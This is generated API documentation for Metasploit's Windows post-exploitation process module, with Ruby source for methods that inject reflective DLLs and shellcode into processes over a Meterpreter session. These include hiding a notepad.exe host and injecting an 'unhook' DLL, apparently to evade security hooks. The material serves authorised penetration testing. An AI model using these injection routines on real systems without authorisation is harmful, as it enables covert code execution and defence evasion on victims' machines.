Module: Msf::Post::Windows::Process

Includes:
ReflectiveDLLInjection
Defined in:
lib/msf/core/post/windows/process.rb

Constant Summary

Constants included from ReflectiveDLLInjection

ReflectiveDLLInjection::PAGE_ALIGN

Constants included from ReflectiveDLLLoader

ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER

Instance Method Summary collapse

Methods included from ReflectiveDLLInjection

#inject_dll_data_into_process, #inject_dll_into_process, #inject_into_process

Methods included from ReflectiveDLLLoader

#load_rdi_dll, #load_rdi_dll_from_data

Instance Method Details

#arch_check(test_arch, pid) ⇒ Object

Checks the architecture of a payload and PID are compatible Returns true if they are false if they are not


21
22
23
24
25
26
27
28
29
# File 'lib/msf/core/post/windows/process.rb', line 21

def arch_check(test_arch, pid)
  # get the pid arch
  client.sys.process.processes.each do |p|
    # Check Payload Arch
    if pid == p["pid"]
      return test_arch == p['arch']
    end
  end
end

#execute_dll(rdll_path, param = nil, pid = nil) ⇒ Object

Injects a reflective DLL in to a process, and executes it.

Parameters:

  • rdll_path (String)

    The path to the DLL to inject

  • param (String, Integer, nil) (defaults to: nil)

    The parameter to pass to the DLL's entry point. If this value is a String then it will first be written into the process memory and then passed by reference. If the value is an Integer, then the value will be passed as is. If the value is nil, it'll be passed as a NULL pointer.

  • pid (Integer) (defaults to: nil)

    The process ID to inject to, if unspecified, a new instance of notepad.exe will be launched to host the injected DLL.


54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# File 'lib/msf/core/post/windows/process.rb', line 54

def execute_dll(rdll_path, param=nil, pid=nil)
  if pid.nil?
    print_status('Launching notepad to host the DLL...')
    notepad_process = client.sys.process.execute('notepad.exe', nil, { 'Hidden' => true })
    begin
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      # Reader Sandbox won't allow to create a new process:
      # stdapi_sys_process_execute: Operation failed: Access is denied.
      print_error('Operation failed. Trying to inject into the current process...')
      process = client.sys.process.open
    end
  else
    process = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
  end

  print_status("Reflectively injecting the DLL into #{process.pid}...")
  exploit_mem, offset = inject_dll_into_process(process, ::File.expand_path(rdll_path))

  if param.is_a?(String)
    # if it's a string, treat it as data and copy it into the remote process then pass it by reference
    param_ptr = inject_into_process(process, param)
  elsif param.is_a?(Integer)
    param_ptr = param
  elsif param.nil?
    param_ptr = 0
  else
    raise TypeError, 'param must be a string, integer or nil'
  end

  process.thread.create(exploit_mem + offset, param_ptr)
  nil
end

#execute_shellcode(shellcode, base_addr = nil, pid = nil) ⇒ Boolean

Injects shellcode to a process, and executes it.

Parameters:

  • shellcode (String)

    The shellcode to execute

  • base_addr (Integer) (defaults to: nil)

    The base address to allocate memory

  • pid (Integer) (defaults to: nil)

    The process ID to inject to, if unspecified, the shellcode will be executed in place.

Returns:

  • (Boolean)

    True if successful, otherwise false


98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# File 'lib/msf/core/post/windows/process.rb', line 98

def execute_shellcode(shellcode, base_addr=nil, pid=nil)
  pid ||= session.sys.process.getpid
  host  = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
  if base_addr.nil?
    shell_addr = host.memory.allocate(shellcode.length)
  else
    shell_addr = host.memory.allocate(shellcode.length, nil, base_addr)
  end

  host.memory.protect(shell_addr)

  if host.memory.write(shell_addr, shellcode) < shellcode.length
    vprint_error("Failed to write shellcode")
    return false
  end

  vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{pid.to_s})")
  thread = host.thread.create(shell_addr,0)
  unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
    vprint_error("Unable to create thread")
    nil
  end
  thread
end

#get_notepad_pathname(bits, windir, client_arch) ⇒ Object

returns the path to the notepad process based on syswow extension


32
33
34
35
36
37
38
39
40
41
42
43
# File 'lib/msf/core/post/windows/process.rb', line 32

def get_notepad_pathname(bits, windir, client_arch)
  if bits == ARCH_X86 and client_arch == ARCH_X86
    cmd = "#{windir}\\System32\\notepad.exe"
  elsif bits == ARCH_X64 and client_arch == ARCH_X64
    cmd = "#{windir}\\System32\\notepad.exe"
  elsif bits == ARCH_X64 and client_arch == ARCH_X86
    cmd = "#{windir}\\Sysnative\\notepad.exe"
  elsif bits == ARCH_X86 and client_arch == ARCH_X64
    cmd = "#{windir}\\SysWOW64\\notepad.exe"
  end
  return cmd
end

#has_pid?(pid) ⇒ Boolean

Determines if a PID actually exists

Returns:

  • (Boolean)

138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
# File 'lib/msf/core/post/windows/process.rb', line 138

def has_pid?(pid)
  procs = []
  begin
    procs = client.sys.process.processes
  rescue Rex::Post::Meterpreter::RequestError
    print_error("Unable to enumerate processes")
    return false
  end

  procs.each do |p|
    found_pid = p['pid']
    return true if found_pid == pid
  end

  print_error("PID #{pid.to_s} does not actually exist.")

  return false
end

#initialize(info = {}) ⇒ Object


12
13
14
15
16
17
# File 'lib/msf/core/post/windows/process.rb', line 12

def initialize(info = {})
  super(update_info(
    info,
    'Compat' => { 'Meterpreter' => { 'Commands' => %w{ core_channel_* stdapi_sys_process_* } } }
  ))
end

#inject_unhook(proc, bits, delay_sec) ⇒ Object


123
124
125
126
127
128
129
130
131
132
133
134
135
# File 'lib/msf/core/post/windows/process.rb', line 123

def inject_unhook(proc, bits, delay_sec)
  if bits == ARCH_X64
    dll_file_name = 'x64.dll'
  elsif bits == ARCH_X86
    dll_file_name = 'x86.dll'
  else
    return false
  end
  dll_file = MetasploitPayloads.meterpreter_ext_path('unhook', dll_file_name)
  dll, offset = inject_dll_into_process(proc, dll_file)
  proc.thread.create(dll + offset, 0)
  Rex.sleep(delay_sec)
end